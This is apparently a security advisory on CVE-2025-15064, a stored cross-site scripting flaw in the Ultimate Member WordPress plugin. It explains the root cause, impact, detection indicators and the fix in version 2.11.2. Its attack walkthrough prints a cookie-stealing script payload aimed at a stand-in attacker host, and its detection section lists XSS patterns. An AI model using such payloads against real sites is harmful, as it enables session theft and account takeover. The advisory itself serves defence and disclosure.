CVE-2025-15064: 
WordPress vulnerability analysis and mitigation

CVE-2025-15064 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin for WordPress. It affects all versions up to and including 2.11.1, and is caused by insufficient input sanitization and output escaping in the user description field. The vulnerability is only exploitable when "HTML support for user description" is enabled in the plugin's settings. It was disclosed on April 4, 2026, with a fix merged on February 4, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Github Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the plugin fails to properly sanitize user-supplied HTML input in the user description field before storing and rendering it. The fix involved changing wp_kses to use a 'user_description' context instead of dynamic HTML templates, introducing a new um_sanitize_form_submission filter for stricter sanitization, and ultimately deprecating HTML support in user descriptions entirely in version 2.11.2 (GitHub PR #1774). Exploitation requires the attacker to have at minimum a subscriber-level WordPress account and the site administrator to have enabled the "HTML support for user description" setting. The attack vector is network-based with low attack complexity and no user interaction required beyond a victim visiting a page displaying the injected profile (Github Advisory).

Successful exploitation allows authenticated attackers with subscriber-level access or higher to inject persistent malicious JavaScript into user profile description fields, which executes in the browsers of any user who views the affected page. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, content defacement, and potential privilege escalation if an administrator views the injected profile. The CVSS scope is marked as "Changed," indicating the impact extends beyond the vulnerable component to affect other users' browser sessions (Github Advisory, Wordfence).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Wordfence). The EPSS score is approximately 0.01% (2nd percentile), indicating a low near-term probability of exploitation (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is further constrained by the requirement that the "HTML support for user description" setting be enabled, which limits the attack surface to sites with this non-default configuration.

1. Reconnaissance: Identify WordPress sites running the Ultimate Member plugin at version 2.11.1 or earlier using tools like WPScan or Shodan, and confirm that "HTML support for user description" is enabled (often visible on public member directory or profile pages).
2. Account Registration: Register or obtain a subscriber-level (or higher) account on the target WordPress site, as the vulnerability requires authenticated access.
3. Inject Malicious Payload: Navigate to the user profile edit page and insert a malicious JavaScript payload into the user description field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
4. Payload Persistence: Submit the profile update. The malicious script is stored in the database without proper sanitization due to the insufficient wp_kses implementation.
5. Trigger Execution: When any user (including administrators) visits a page that renders the attacker's profile description — such as a member directory or profile page — the injected script executes in their browser, enabling session theft, credential harvesting, or further attacks (Github Advisory, GitHub PR #1774).

• Logs: WordPress access logs showing POST requests to profile update endpoints (e.g., /wp-admin/admin-ajax.php or Ultimate Member profile save actions) containing HTML script tags or encoded JavaScript in the description parameter.
• Database: Unexpected <script>, <img onerror=, <svg onload=, or similar HTML event handler patterns stored in the wp_usermeta table under the description meta key for user accounts.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting member directory or profile pages, potentially carrying cookie or session data.
• File System: No direct file system artifacts expected for this XSS type, but monitor for any new files created if the XSS payload is used to deliver a secondary payload (e.g., a web shell via admin compromise).
• Process/Behavior: Unexpected admin-level actions (new admin account creation, plugin installations) occurring after an administrator views a member profile page, which may indicate successful session hijacking via the XSS.

The vulnerability is resolved in Ultimate Member plugin version 2.11.2, which deprecates HTML support in user descriptions and refactors form sanitization to use a stricter wp_kses context (GitHub PR #1774). Site administrators should update to version 2.11.2 or later immediately. As an interim workaround for sites that cannot update right away, disabling "HTML support for user description" in the Ultimate Member plugin settings will prevent exploitation. Additionally, administrators should audit existing user profile descriptions for suspicious HTML or script content, and consider deploying a Web Application Firewall (WAF) with XSS detection rules as a defense-in-depth measure (Wordfence).

Wordfence, which discovered and reported the vulnerability, published a threat intelligence entry covering the issue and its remediation (Wordfence). Sucuri included CVE-2025-15064 in their April 2026 vulnerability patch roundup, noting it as part of a broader set of WordPress plugin issues addressed that month (Sucuri Blog). Community reaction has been relatively muted given the medium severity rating, the non-default configuration requirement, and the absence of public exploit code.